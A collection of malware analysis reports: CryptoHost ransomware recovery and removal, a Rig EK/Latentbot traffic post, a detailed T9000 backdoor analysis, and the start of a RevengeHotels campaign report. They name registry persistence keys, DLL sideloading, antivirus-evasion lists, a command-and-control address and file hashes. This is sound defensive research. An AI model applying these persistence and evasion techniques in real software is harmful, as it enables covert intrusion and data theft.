"00:88:43:67:98:3f:9c:0e:38:86:2c:06:ed:92:c8:91:ad" ) } ``` ## References The following list of sources was used by the blog authors during the research and analysis associated with this blog entry. 1. MITRE ATT&CK 2. Bleeping Computer 3. Vitali Kremez (@VK_Intel) 4. Brad Duncan (@malware_traffic) 5. SentinelOne Labs 6. NTAPI Undocumented Functions Website 7. Bitdefender 8. Microsoft
# CryptoHost Decrypted: Locks Files in a Password Protected RAR File A new ransomware called CryptoHost was discovered by security researcher Jack that states it encrypts your data and then demands a ransom of 0.33 bitcoins or approximately 140 USD to get your files back. In reality, though, your data is not encrypted, but rather copied into a password protected RAR archive. Thankfully, the password created by this infection is easily discovered, so infected users can get their files back. This infection is currently being detected as Ransom:MSIL/Manamecrypt.A and Ransom_CRYPTOHOST.A. ## How to Decrypt or Get Your Data Back from the CryptoHost Ransomware Normally, I would not disclose a vulnerability in ransomware as it will just lead to the developer fixing it in a future version. Unfortunately, a certain site irresponsibly revealed the method that can be used to decrypt these files, so the secret is already out. When CryptoHost infects your computer, it will move certain data files into a password protected RAR archive located in the `C:\Users\[username]\AppData\Roaming` folder. This file will have a 41 character name and no extension. An example file is `3854DE6500C05ADAA539579617EA3725BAAE2C57`. The password for this archive is the name of the archive combined with the logged-in user name. For example, if the name of the user is Test and the RAR archive is located at `C:\Users\Test\AppData\Roaming\3854DE6500C05ADAA539579617EA3725BAAE2C57`, the password would be `3854DE6500C05ADAA539579617EA3725BAAE2C57Test`. For those who do not want to deal with figuring out the password, you can use a password generator created by Michael Gillespie. Before we begin, we want to first terminate the `cryptohost.exe` process. To do this, open the Start Menu and type Task Manager. When the Task Manager search results appear, click on it to start the program. Now click on the Processes tab and select the `cryptohost.exe` process. Then click on the End Process button to terminate it. ## End the Cryptohost.exe Process Now to extract the password protected RAR archive with your files in it, we first need to install the 7-Zip application. Once it is installed, open up the `C:\Users\[username]\AppData\Roaming` folder and locate the archive file. Now right-click on it and then select the Extract to "foldername" option. When 7-Zip prompts you for the password, enter the password as described above and press enter. Your data will now be extracted into a folder with the same name as the RAR archive. When done, open that folder and copy all of the folders in it to the root of your C: drive. Your data files should now be restored. ## How to Remove the CryptoHost Ransomware When CryptoHost is installed, it will create a file called `cryptohost.exe` and store it in the `C:\Users\[username]\AppData\Roaming` folder. It will also create an autorun called software that executes the ransomware on login. To remove this infection, simply end the `cryptohost.exe` process using Task Manager and then delete the `cryptohost.exe` file. To remove the autorun, you can delete this registry key: `HKCU\Software\Microsoft\Windows\CurrentVersion\Run\software %AppData%\cryptohost.exe` Most security products should detect this infection at this point and remove it automatically if you do not wish to remove CryptoHost manually. ## CryptoHost Ransomware Technical Analysis CryptoHost is currently being bundled with a uTorrent installer that, when installed, extracts the `cryptohost.exe` to the `%AppData%` folder and executes it. Once executed, CryptoHost will move all files that match certain extensions into a password protected RAR archive located in the `%AppData%` folder. The name of the archive will be a SHA1 hash of the following information with any dashes removed: `processorId + volume_serial_number_of_c: + motherboard_serial_number` The password for this archive will be in the form of the SHA1 hash + username. So if the SHA1 hash is `3854DE6500C05ADAA539579617EA3725BAAE2C57` and the user is Test, the password would be `3854DE6500C05ADAA539579617EA3725BAAE2C57Test`. The file extensions that will be moved into the password protected archive by CryptoHost are: `jpg, jpeg, png, gif, psd, ppd, tiff, flv, avi, mov, qt, wmv, rm, asf, mp4, mpg, mpeg, m4v, 3gp, 3g2, pdf, docx, pptx, doc, 7z, zip, txt, ppt, pps, wpd, wps, xlr, xls, xlsl`. When the archive is finished being created, the ransomware will then perform a listing of the files in the archive and save that list to the `%AppData%\Files` file. CryptoHost will now display the ransomware screen. This screen is broken up into four subscreens that allow you to get various information about the infection and to list the affected data files. When a victim wants to decrypt their files, they need to click the Check Payment Status button, which simply checks blockchain.info for any payments to the assigned bitcoin address. If the text returned by the blockchain query contains the exact numbers listed in the Fee label of the CryptoHost interface, then the ransomware will extract your files. This means that a victim has to pay the exact amount, and if more is paid, the ransomware will still not decrypt the files. When first started, CryptoHost will also try to delete the `HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot` key in order to make it impossible to boot into safe mode. Thankfully, this process does not run under the required privileges that are necessary to remove this key. CryptoHost will also monitor process names and Window titles for certain strings. If these strings are detected, the associated process will be terminated. The list of strings that it searches for are: `anti virus, anti-virus, antivirus, avg, bitdefender, eset, mcafee, dr.web, f-secure, internet security, obfuscator, debugger, monitor, registry, system restore, kaspersky, norton, ad-aware, sophos, comodo, avira, bullguard, trend micro, eset, vipre, task manager, system configuration, registry editor, game, steam, lol, rune, facebook, instagram, youtube, vimeo, twitter, pinterest, tumblr, meetme, netflix, amazon, ebay, shop, origin`. It is interesting to note that the developer not only targets security products but also common sites and processes that a victim may want to visit or use for games. This is done to further aggravate the victim into paying the ransom. Last, but not least, this ransomware does not communicate with the malware developer in any way, and the only network communications is when it checks the blockchain.info site for payment. ## Files Associated with the CryptoHost Ransomware - `%Temp%\uTorrent.exe` - `%AppData%\cryptohost.exe` - `%AppData%\files` - `%AppData%\processor.exe` ## Registry Entries Associated with the CryptoHost Ransomware - `HKCU\Software\Classes\FalconBetaAccount` - `HKCU\Software\Microsoft\Windows\CurrentVersion\Run\software %AppData%\cryptohost.exe`
# "GOOD MAN" CAMPAIGN RIG EK SENDS LATENTBOT ## ASSOCIATED FILES: - **ZIP archive of the pcap:** 2017-04-25-Good-man-campaign-Rig-EK-sends-Latentbot.pcap.zip (1.1 MB) - **2017-04-25-Good-man-campaign-Rig-EK-sends-Latentbot.pcap** (1,145,861 bytes) - **ZIP archive of the malware:** 2017-04-25-Good-man-campaign-Rig-EK-sends-Latentbot-malware-and-artifacts.zip (319 kB) - **2017-04-25-Goodma-campaign-Rig-EK-payload-Latentbot.exe** (312,832 bytes) - **2017-04-25-Rig-EK-artifact-o32.tmp.txt** (1,141 bytes) - **2017-04-25-Rig-EK-flash-exploit.swf** (16,428 bytes) - **2017-04-25-Rig-EK-landing-page.txt** (117,853 bytes) - **2017-04-25-page-from-hurtmehard.net-with-injected-script-for-Rig-EK-landing-page.txt** (54,882 bytes) ## BACKGROUND ON THE "GOOD MAN" CAMPAIGN: "Good Man" domains used as gates in this campaign all have a registrant email of: [email protected]. Hurtmehard.net is one of the "Good Man" domains. A background on this campaign was posted on 2017-03-10 by Malware Breakdown in the article: Finding A 'Good Man'. ## BACKGROUND ON LATENTBOT: Although post-infection traffic triggers alerts for the GrayBird Trojan on the EmergingThreats ruleset, more recent variants have been dubbed "Latentbot". FireEye wrote an analysis of Latentbot at: LATENTBOT: Trace Me If You Can. I've documented this malware before in 2016, and so has Broadanalysis.com. ## TRAFFIC - **ASSOCIATED DOMAINS:** - hurtmehard.net - "Good Man" gate - 188.225.72.88 port 80 - end.chaggama.com - Rig EK - 37.72.175.221 port 80 - Latentbot post-infection traffic ## FILE HASHES - **FLASH EXPLOIT:** - SHA256 hash: 9d56d491f0fca9a16daeb0ce5ef6ba96206fea93b5b12f42c442aa10a0d487ea - File size: 16,428 bytes - File description: Rig EK flash exploit seen on 2017-04-25 - **PAYLOAD (LATENTBOT):** - SHA256 hash: 092fd4caf46ec36e07fdc9c8b156ce05cda0fb2abd7c49ba8dddfe8ac6cdbb67 - File size: 312,832 bytes - File location: C:\Users\[username]\AppData\Local\Temp\[various alphanumeric characters].exe - File location: C:\Users\[username]\AppData\Local\Microsoft\Windows\mxcyvqu.exe ## FINAL NOTES Once again, here are the associated files: - **ZIP archive of the pcap:** 2017-04-25-Good-man-campaign-Rig-EK-sends-Latentbot.pcap.zip (1.1 MB) - **ZIP archive of the malware:** 2017-04-25-Good-man-campaign-Rig-EK-sends-Latentbot-malware-and-artifacts.zip (319 kB) ZIP files are password-protected with the standard password. If you don't know it, look at the "about" page of this website.
# T9000: A Skype Backdoor Malware Analysis Most custom backdoors used by advanced attackers have limited functionality. They evade detection by keeping their code simple and flying under the radar. But during a recent investigation, we found a backdoor that takes a very different approach. We refer to this backdoor as T9000, which is a newer variant of the T5000 malware family, also known as Plat1. In addition to the basic functionality all backdoors provide, T9000 allows the attacker to capture encrypted data, take screenshots of specific applications, and specifically target Skype users. The malware goes to great lengths to identify a total of 24 potential security products that may be running on a system and customizes its installation mechanism to specifically evade those that are installed. It uses a multi-stage installation process with specific checks at each point to identify if it is undergoing analysis by a security researcher. The primary functionality of this tool is to gather information about the victim. In fact, the author chose to store critical files dropped by the Trojan in a directory named “Intel.” T9000 is pre-configured to automatically capture data about the infected system and steal files of specific types stored on removable media. We have observed T9000 used in multiple targeted attacks against organizations based in the United States. However, the malware’s functionality indicates that the tool is intended for use against a broad range of users. In this report, we share an analysis of each stage in T9000’s execution flow. ## Execution Flow The sample of T9000 used in this analysis was originally dropped via an RTF file that contained exploits for both CVE-2012-1856 and CVE-2015-1641. When triggered, an initial shellcode stage is run, which is responsible for locating and executing a secondary shellcode stub. The second stage shellcode reads the initial RTF document and seeks to the end of the file, using the last four bytes as the size of the embedded payload. With the payload size confirmed, the shellcode will create a file in the %TEMP% folder using a temporary filename. The shellcode will decrypt and subsequently load the embedded payload in the RTF file. The decrypted payload is written to the temporary file and executed using WinExec. The shellcode then attempts to decrypt an embedded decoy document with the same algorithm used to decrypt the payload, which it will save to %TEMP%\~tmp.doc path. This file is opened using the following command: ``` cmd /C %TEMP%\~tmp.doc ``` However, this particular sample did not contain a decoy document. When this temporary file is initially executed, it will begin by creating the following mutex to ensure only one instance of the malware is running at a given time: ``` 820C90CxxA1B084495866C6D95B2595xx1C3 ``` It continues to perform a number of checks for installed security products on the victim machine. The following security platforms are queried by checking entries within the HKLM\Software\ registry path: - Sophos - INCAInternet - DoctorWeb - Baidu - Comodo - TrustPortAntivirus - GData - AVG - BitDefender - VirusChaser - McAfee - Panda - Trend Micro - Kingsoft - Norton - Micropoint - Filseclab - AhnLab - JiangMin - Tencent - Avira - Kaspersky - Rising - 360 These security products are represented by a value that is binary AND-ed with any other products found. The following numbers represent each respective security product: ``` 0x08000000 : Sophos 0x02000000 : INCAInternet 0x04000000 : DoctorWeb 0x00200000 : Baidu 0x00100000 : Comodo 0x00080000 : TrustPortAntivirus 0x00040000 : GData 0x00020000 : AVG 0x00010000 : BitDefender 0x00008000 : VirusChaser 0x00002000 : McAfee 0x00001000 : Panda 0x00000800 : Trend Micro 0x00000400 : Kingsoft 0x00000200 : Norton 0x00000100 : Micropoint 0x00000080 : Filseclab 0x00000040 : AhnLab 0x00000020 : JiangMin 0x00000010 : Tencent 0x00000004 : Avira 0x00000008 : Kaspersky 0x00000002 : Rising 0x00000001 : 360 ``` So, for example, if both Trend Micro and Sophos were discovered on a victim machine, the resulting value would be `0x08000800`. This numerical value is written to the following file: ``` %APPDATA%\Intel\avinfo ``` The malware proceeds to drop the following files to the %APPDATA%\Intel directory. Additionally, the following two files are written to the Data directory: | File Name | Description | |------------------|-----------------------------------------------------| | ~1 | Debug information about files used by malware. | | avinfo | Installed security products on victim. | | hccutils.dll | Malicious DLL. Loads ResN32.dll. | | hccutils.inf | Malicious INF file. Points to hccutils.dll. | | hjwe.dat | Encrypted core of malware family. | | igfxtray.exe | Legitimate Microsoft executable. Loads hccutils.dll.| | qhnj.dat | Encrypted plugin. Hooks a number of functions and logs results. | | QQMgr.dll | Malicious DLL. Sets persistence via Run registry key. | | QQMgr.inf | Malicious INF file. Points to QQMgr.dll. | | ResN32.dat | String pointing to path of encrypted core of malware. | | ResN32.dll | Malicious DLL. Decrypts, decompresses, and loads core malware. | | tyeu.dat | Encrypted plugin. Takes screenshots and collects Skype information. | | vnkd.dat | Encrypted plugin. Finds files on removable drives on victim machine. | | dtl.dat | Encrypted configuration information. | | glp.uin | Plugin configuration information. | You’ll notice that QQMgr* files are not listed in the original malware execution flow diagram. In the event the victim is running any of the following operating system versions, as well as either Kingsoft, Filseclab, or Tencent security products, the malware will be installed using an alternative method: - Windows 2008 R2 - Windows 7 - Windows 2012 - Windows 8 In such a situation, the malware will find and run the built-in Microsoft Windows InfDefaultInstall.exe program, which will install a DLL via an INF file. Should Tencent be installed, the malware will execute the InfDefaultInstall.exe program with an argument of ‘QQMgr.inf’. Otherwise, it will use ‘hccutils.inf’ as an argument. QQMgr.inf will install the QQMgr.dll, while hccutils.inf will install the hccutils.dll library. QQMgr.dll will set the following registry key: ``` HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Eupdate – %APPDATA%\Intel\ResN32.dll ``` After the malware drops the required files, by default the malware will spawn `%APPDATA%\Intel\igfxtray.exe` in a new process, which begins the second stage of the malware’s execution. The igfxtray.exe is a legitimate Microsoft Windows executable that sideloads the malicious hccutils.dll DLL file. Upon loading this malicious DLL, the malware will initially perform the same queries for security products that were witnessed in stage 1. Three separate techniques for starting stage 3 are used depending on the properties of the victim. The first technique is used if the victim meets the following criteria: - Microsoft Windows 8 / Windows Server 2012 R2 - DoctorWeb security product installed For this situation, the following registry key is set: ``` HKLM\Software\Microsoft\Windows\CurrentVersion\Run\update – %SYSTEM%\rundll32.exe %APPDATA\Intel\ResN32.dll Run ``` The second technique is used if the victim meets any of the following sets of criteria: - Microsoft Windows 8 / Windows Server 2012 R2 - Not running Kingsoft, Tencent, or DoctorWeb security products - Microsoft Windows XP or lower - No security products installed, or running any of the following: - Sophos - GData - TrendMicro - AhnLab - Kaspersky In these situations, the following persistence technique is used: ``` HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs – %APPDATA%\Intel\ResN32.dll HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\LoadAppInit_DLLs – 0x1 ``` The third technique is used in any other situation. When this occurs, the malware will first identify the explorer.exe process identifier. It proceeds to inject the ResN32.dll library into this process. At this point, the third stage of the malware family is loaded. The third stage begins when the ResN32.dll file begins operating. This file contains the following debug string: `D:\WORK\T9000\ResN_M2\Release\ResN32.pdb`. The ResN32.dll library begins by spawning a new thread that is responsible for the majority of the capabilities built into this sample. This thread begins by checking the operating system version and once again runs a query on the various security products installed on the victim machine. Under certain conditions, the following registry key is set, ensuring persistence across reboots: ``` HKLM\Software\Microsoft\Windows\CurrentVersion\Run\update – c:\windows\system32\rundll32.exe %APPDATA\Intel\ResN32.dll Run ``` Following this, a new thread is created that is responsible for deleting previously written files. This thread creates the following mutex: ``` Global\\deletethread ``` It proceeds to attempt to delete the following files in an infinite loop until said files have been deleted: - %STARTUP%\hccutils.dll - %STARTUP%\hccutil.dll - %STARTUP%\igfxtray.exe The ResN32.dll malware proceeds to read in the ResN32.dat file that was previously written to disk. This file contains a path to the hjwe.dat file, which is subsequently read in. The data within the hjwe.dat file is decrypted using the RC4 algorithm and subsequently decompressed using the LZMA algorithm. After this file has been decrypted and decompressed, it is written to a file in the %TEMP% directory with a file prefix of ‘____RES’. This file, which contains a Windows DLL, is then loaded into the current process. After the malicious library has been loaded, the previously written temporary file is deleted. This begins the last stage of the malware, which will load the core of the malware family. Once the decrypted and decompressed hjwe.dat file is loaded, it begins by checking its parent process against a blacklist. If the parent process matches the following blacklist, the malicious DLL will exit without performing any malicious activities: - winlogon.exe - csrss.exe - logonui.exe - ctfmon.exe - drwtsn32.exe - explore.exe - System - Dbgview.exe - userinit.exe - lsass.exe - wmiprvse.exe - services.exe - inetinfo.exe - avp.exe - Rtvscan.exe The malware proceeds to collect the username of the victim, as well as the operating system version. It then compares its parent process against a list of executables. After these checks are performed, the following mutex is created: ``` Global\\{A59CF429-D0DD-4207-88A1-04090680F714} ``` The following folders are then created: - utd_CE31 - XOLOADER - Update The path of these folders is determined by the version of Microsoft Windows running. The following possibilities exist: - %ALLUSERSPROFILE%\Documents\My Document\ - %PUBLIC%\Downloads\Update\ At this point, the malware will read in the dtl.dat file, which contains configuration data. Data contained within this file starting at offset 0x20 is xor-encrypted using a single-byte key of 0x5F. The malware will then read in and parse the included plugin configuration information, which is found within the glp.uin file that was previously dropped. These included plugins are encrypted and compressed using the same method witnessed by the hjwe.dat file previously. The previously included script can be used to decrypt and decompress the following three plugin files: - tyeu.dat - vnkd.dat - qhnj.dat These three plugins are subsequently loaded after being decrypted and decompressed. An overview of these plugins can be found later in this post. The malware proceeds to create the following event: ``` Global\\{34748A26-4EAD-4331-B039-673612E8A5FC} ``` Additionally, the following three mutexes are created: ``` Global\\{3C6FB3CA-69B1-454f-8B2F-BD157762810E} Global\\{43EE34A9-9063-4d2c-AACD-F5C62B849089} Global\\{A8859547-C62D-4e8b-A82D-BE1479C684C9} ``` The malware will spawn a new thread to handle network communication. The following event is created prior to this communication occurring: ``` Global\\{EED5CA6C-9958-4611-B7A7-1238F2E1B17E} ``` The malware includes proxy support in the event that the victim is behind a web proxy. Network traffic occurs over a binary protocol on the port specified within the configuration. Traffic is xor-encrypted with a single-byte key of 0x55 in an attempt to bypass any network security products that may be in place. Once decrypted, the following traffic is sent by the malware. As we can see from the above image, the malware will send out an initial beacon, followed by various collected information from the victim machine. The following information is exfiltrated: - Installed security products - System time - Build Number - CPU Architecture (32-bit/64-bit) - MAC Address - IP Address - Hostname - Username - Parent executable name - Plugin configuration information The malware is configured to receive a number of commands. The following command functionalities have been identified: | Command | Description | |---------|-------------| | DIR | Directory listing | | LIR | Drive listing | | RUN | Execute command (Either interactively or not) | | CIT | Send command to interactively spawned command | | CFI | Kill interactively spawned process | | DOW | Download file | | UPL | Upload file | | DEL | Delete file | | DTK | Retrieve statistics for file | | ERR | Null command | Additionally, the following commands have been identified, however, their functionalities have yet to be fully discovered: - PNG - PLI - PLD - FDL - OSC - OSF - SDA - QDA - TFD - SDS - SCP - FMT - STK - CRP When this plugin is called with the default exported function, it will create the following mutex: ``` {CE2100CF-3418-4f9a-9D5D-CC7B58C5AC62} ``` When called with the SetCallbackInterface function export, the malicious capabilities of the plugin begin. The plugin begins by collecting the username of the running process and determining if it is running under the SYSTEM account. If running as SYSTEM, the plugin will associate the active desktop with the plugin’s thread. The plugin proceeds to create the following named event: ``` Global\\{EED5CA6C-9958-4611-B7A7-1238F2E1B17E} ``` Multiple threads are then spawned to handle various actions. The first thread is responsible for taking a screenshot of the desktop of the victim machine. This screenshot data is both compressed and encrypted using a single-byte xor key of 0x5F. This data is written to one of the following files: - %PUBLIC%\Downloads\Update\S[random].dat - %ALLUSERSPROFILE%\Documents\My Document\S[random].dat The random data is generated via the current system time. Additionally, when a screenshot is written, one of the following log files has data appended to it: - %PUBLIC%\Downloads\Update\Log.txt - %ALLUSERSPROFILE%\Documents\My Document\Log.txt A second thread is responsible for monitoring the foreground window every 20 seconds. The thread will target the window names set within the plugin configuration. In this particular instance, the malware will target the ‘notepad’ process. When this process is discovered to be running in the foreground window, the malware will take a screenshot of this window. The data is compressed and encrypted using a single-byte xor key of 0x5F. This data is written to one of the following files: - %PUBLIC%\Downloads\Update\W[random].dat - %ALLUSERSPROFILE%\Documents\My Document\W[random].dat Like the previous thread, this one attempts to write another log file to the disk. However, due to a bug within the code of this plugin, the malware author attempts to append the ‘C:\\Windows\\Temp\\Log.txt’ string to the path, resulting in an inaccessible file path. The third and final thread spawned by this plugin is responsible for collecting information from the Skype program. The malware will use the built-in Skype API to accomplish this. This only takes place if both Skype is running and the victim is logged into Skype. It makes calls to the following functions: - SkypeControlAPIDiscover - SkypeControlAPIAttach When hooking into the Skype API, the victim is presented with a dialog. The victim must explicitly allow the malware to access Skype for this particular functionality to work. However, since a legitimate process is requesting access, the user may find him- or herself allowing this access without realizing what is actually happening. Once enabled, the malware will record video calls, audio calls, and chat messages. Audio and video files are stored in the following folder: ``` %APPDATA%\Intel\Skype ``` Temporary audio and video files are stored within the audio and video sub-folders respectively. After a call is finished, this data is compressed and encrypted using the same techniques previously witnessed. These files are stored in randomly named .dat files within the Skype folder. The original name for this plugin is ‘CaptureDLL.dll’. This is aptly named, as we see that this plugin has the following functionality: - Capture full desktop screenshots - Capture window screenshots of targeted processes - Capture Skype audio, video, and chat messages The vnkd.dat plugin has the following debug path, leading us to believe that the original name for this plugin is ‘FlashDiskThief’. When loaded with the default DllEntryPoint exported function, it will create the following mutex: ``` Global\\{6BB1120C-16E9-4c91-96D5-04B42D1611B4} ``` Like the other plugins associated with this malware, the majority of the functionality for this malware resides within the SetCallbackInterface exported function. This function spawns a new thread that begins by registering a new window with a class name and window name of ‘xx’. The plugin proceeds to iterate through all connected drives on the system, looking for removable drives. Should a removable drive be discovered, the plugin will seek any files residing on this device based on the plugin’s configured list. In this particular instance, the malware will seek out the following file types: - *.doc - *.ppt - *.xls - *.docx - *.pptx - *.xlsx If one of these file types is found, the malware will create a copy of the file in one of the following paths: - %PUBLIC%\Downloads\Update\D[random].tmp - %ALLUSERSPROFILE%\Documents\My Document\D[random].tmp The data found within this file is encrypted using a single-byte xor key of 0x41. This concludes the functionality of the vnkd.dat plugin, or FlashDiskThief as it’s known by the malware’s author. While specific in nature, this plugin allows attackers to collect files being passed around from one machine to another via removable drives. This particular plugin appears to have an original filename of ‘kplugin.dll’ due to debugging information found within the file. The qhnj.dat plugin is responsible for hooking a number of common Microsoft Windows API calls and logging the results. The following functions are hooked by this plugin: - ImmGetCompositionStringA - ImmGetCompositionStringW - CreateFileW - DeleteFileW - CopyFileExW - MoveFileWithProgressW - CreateDirectoryW - CreateDirectoryExW - RemoveDirectoryW - GetClipboardData - CryptEncrypt - CryptDecrypt The plugin is most likely hooking the ImmGetCompositionString* functions in order to collect information about Unicode characters on the victim machine, such as Chinese, Japanese, and Korean. Hooking the various file and directory operations allows the malware to log what file changes are occurring on the system. When a file is created, copied, moved, or deleted on the system, the malware will check the directory of said file against a blacklist. Should the file meet the required criteria, this data is logged. Additionally, all folder modifications and clipboard data are logged as well. The Crypt* functions allow the malware to collect sensitive encrypted data sent to and from the victim machine. All of the data logged by the qhnj.dat plugin file is stored in one of the following file paths. Data is encrypted using a single-byte XOR key of 0x79. This last plugin allows the attackers to record important actions taken by the victim, which in turn may allow them to gain additional access as well as insight into the victim’s actions. T9000 appears to be the latest version of this Trojan, which has been partially exposed in previous reports. In 2013, Cylance published a report on a group they named “Grand Theft Auto Panda,” which includes some details on the T5000 version of this Trojan. FireEye researchers also noted that the malware was used in an attack in 2014 using a lure related to the disappearance of Malaysian flight MH370. The author of this backdoor has gone to great lengths to avoid being detected and to evade the scrutiny of the malware analysis community. We hope that sharing the details of how this tool works as well as the indicators in the section below will help others defend themselves against attacks using this tool. In a future report, we will detail the infrastructure used by the variants of the malware we have identified and discuss the methods attackers use to infect systems with it. Palo Alto Networks customers are protected from T9000/T5000 attacks through our next-generation security platform, including the following: - Threat Prevention signatures for the software vulnerabilities listed in this report are available to detect the exploit files during delivery. - Traps is capable of preventing exploitation of the vulnerabilities exploited to install T9000. - WildFire classifies all of the malware described in this report as malicious. - Anti-malware signatures for the files listed in this report. - AutoFocus users can identify the malware discussed in this report with the T5000 tag. ## Hashes - RTF File: d5fa43be20aa94baf1737289c5034e2235f1393890fb6f4e8d4104565be52d8c - QQMGr.dll: bf1b00b7430899d33795ef3405142e880ef8dcbda8aab0b19d80875a14ed852f - QQMGR.inf: ace7e3535f2f1fe32e693920a9f411eea21682c87a8e6661d3b67330cd221a2a - ResN32.dat: aa28db689f73d77babd1c763c53b3e63950f6a15b7c1a974c7481a216dda9afd - ResN32.dll: 1cea4e49bd785378d8beb863bb8eb662042dffd18c85b8c14c74a0367071d9a7 - hqwe.dat: bb73261072d2ef220b8f87c6bb7488ad2da736790898d61f33a5fb7747abf48b - hqwe.dat.decrypted: 7daf3c3dbecb60bee3d5eb3320b20f2648cf26bd9203564ce162c97dcb132569 - hccutils.dll: 3dfc94605daf51ebd7bbccbb3a9049999f8d555db0999a6a7e6265a7e458cab9 - hccutils.inf: f05cd0353817bf6c2cab396181464c31c352d6dea07e2d688def261dd6542b27 - igfxtray.exe: 21a5818822a0b2d52a068d1e3339ed4c767f4d83b081bf17b837e9b6e112ee61 - qhnj.dat: c61dbc7b51caab1d0353cbba9a8f51f65ef167459277c1c16f15eb6c7025cfe3 - qhnj.dat.decrypted: 2b973adbb2addf62cf36cef9975cb0193a7ff0b960e2cff2c80560126bee6f37 - tyeu.dat: e52b5ed63719a2798314a9c49c42c0ed4eb22a1ac4a2ad30e8bfc899edcea926 - tyeu.dat.decrypted: 5fc3dc25276b01d6cb2fb821b83aa596f1d64ae8430c5576b953e3220a01d9aa - vnkd.dat: c22b40db7f9f8ebdbde4e5fc3a44e15449f75c40830c88932f9abd541cc78465 - vnkd.dat.decrypted: 157e0a9323eaaa911b3847d64ca0d08be8cd26b2573687be461627e410cb1b3f - dtl.dat: 00add5c817f89b9ec490885be39398f878fa64a5c3564eaca679226cf73d929e - glp.uin: 3fa05f2f73a0c44a5f51f28319c4dc5b8198fb25e1cfcbea5327c9f1b3a871d4 ## Mutexes - 820C90CxxA1B084495866C6D95B2595xx1C3 - Global\\deletethread - Global\\{A59CF429-D0DD-4207-88A1-04090680F714} - Global\\{3C6FB3CA-69B1-454f-8B2F-BD157762810E} - Global\\{43EE34A9-9063-4d2c-AACD-F5C62B849089} - Global\\{A8859547-C62D-4e8b-A82D-BE1479C684C9} - {CE2100CF-3418-4f9a-9D5D-CC7B58C5AC62} - Global\\{6BB1120C-16E9-4c91-96D5-04B42D1611B4} ## Named Events - Global\\{34748A26-4EAD-4331-B039-673612E8A5FC} - Global\\{EED5CA6C-9958-4611-B7A7-1238F2E1B17E} ## File Modifications - %TEMP%\~tmp.doc - %APPDATA%\Intel\avinfo - %APPDATA%\Intel\Data\dtl.dat - %APPDATA%\Intel\Data\glp.uin - %APPDATA%\Intel\Data\ - %APPDATA%\Intel\~1 - %APPDATA%\Intel\hccutils.dll - %APPDATA%\Intel\hccutils.inf - %APPDATA%\Intel\hjwe.dat - %APPDATA%\Intel\igfxtray.exe - %APPDATA%\Intel\qhnj.dat - %APPDATA%\Intel\QQMgr.dll - %APPDATA%\Intel\QQMgr.inf - %APPDATA%\Intel\ResN32.dll - %APPDATA%\Intel\ResN32.dat - %APPDATA%\Intel\tyeu.dat - %APPDATA%\Intel\vnkd.dat - %STARTUP%\hccutils.dll - %STARTUP%\hccutil.dll - %STARTUP%\igfxtray.exe - %ALLUSERSPROFILE%\Documents\My Document\utd_CE31 - %ALLUSERSPROFILE%\Documents\My Document\XOLOADER - %ALLUSERSPROFILE%\Documents\My Document\update - %ALLUSERSPROFILE%\Documents\My Document\Log.txt - %PUBLIC%\Downloads\Update\utd_CE31 - %PUBLIC%\Downloads\Update\XOLOADER - %PUBLIC%\Downloads\Update\update - %PUBLIC%\Downloads\Update\Log.txt - %APPDATA%\Intel\Skype ## Registry Modifications - HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Eupdate – %APPDATA%\Intel\ResN32.dll - HKLM\Software\Microsoft\Windows\CurrentVersion\Run\update – %SYSTEM%\rundll32.exe %APPDATA\Intel\ResN32.dll Run - HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs – %APPDATA%\Intel\ResN32.dll - HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\LoadAppInit_DLLs – 0x1 - HKLM\Software\Microsoft\Windows\CurrentVersion\Run\update – c:\windows\system32\rundll32.exe %APPDATA\Intel\ResN32.dll Run ## Command and Control - 198.55.120[.]143:8080
# RevengeHotels: Cybercrime Targeting Hotel Front Desks Worldwide RevengeHotels is a targeted cybercrime malware campaign against hotels, hostels, hospitality, and tourism companies, mainly located in Brazil. We have confirmed more than 20 hotels that are victims of the group, located in eight states in Brazil, as well as in other countries such as Argentina, Bolivia, Chile, Costa Rica, France, Italy, Mexico, Portugal, Spain, Thailand, and Turkey. The goal of the campaign is to capture credit card data from guests and travelers stored in hotel systems, as well as credit card data received from popular online travel agencies (OTAs) such as Booking.com. The main attack vector is via email with crafted Word, Excel, or PDF documents attached. Some of them exploit CVE-2017-0199, loading it using VBS and PowerShell scripts and then installing customized versions of RevengeRAT, NjRAT, NanoCoreRAT, 888 RAT, and other custom malware such as ProCC on the victim’s machine. The group has been active since 2015 but increased its attacks in 2019. In our research, we were also able to track two groups targeting the hospitality sector, using separate but similar infrastructure, tools, and techniques. PaloAlto has already written about one of them. We named the first group RevengeHotels and the second ProCC. These groups use a lot of social engineering in their attacks, asking for a quote from what appears to be a government entity or private company wanting to make a reservation for a large number of people. Their infrastructure also relies on the use of dynamic DNS services pointing to commercial hosting and self-hosted servers. They also sell credentials from the affected systems, allowing other cybercriminals to have remote access to hotel front desks infected by the campaign. We monitored the activities of these groups and the new malware they are creating for over a year. With a high degree of confidence, we can confirm that at least two distinct groups are focused on attacking this sector; there is also a third group, though it is unclear if its focus is solely on this sector or if it carries out other types of attacks. ## Not the Quotation You’re Expecting One of the tactics used in operations by these groups is highly targeted spear-phishing messages. They register typo-squatting domains, impersonating legitimate companies. The emails are well written, with an abundance of detail. They explain why the company has chosen to book that particular hotel. By checking the sender information, it’s possible to determine whether the company actually exists. However, there is a small difference between the domain used to send the email and the real one. An email sent to a hotel supposedly from an attorney’s office contains a malicious file attached, misusing the name of a real attorney office, while the domain sender of the message was registered one day before, using a typo-squatting domain. The group goes further in its social engineering effort: to convince the hotel personnel about the legitimacy of their request, a copy of the National Registry of Legal Entities card (CNPJ) is attached to the quotation. The attached file, *Reserva Advogados Associados.docx* (Attorneys Associates Reservation.docx), is a malicious Word file that drops a remote OLE object via template injection to execute macro code. The macro code inside the remote OLE document contains PowerShell commands that download and execute the final payload. In the RevengeHotels campaign, the downloaded files are .NET binaries protected with the Yoda Obfuscator. After unpacking them, the code is recognizable as the commercial RAT RevengeRAT. An additional module written by the group called ScreenBooking is used to capture credit card data. It monitors whether the user is browsing the web page. In the initial versions, back in 2016, the downloaded files from RevengeHotels campaigns were divided into two modules: a backdoor and a module to capture screenshots. Recently we noticed that these modules had been merged into a single backdoor module able to collect data from the clipboard and capture screenshots. In this example, the webpage that the attacker is monitoring is 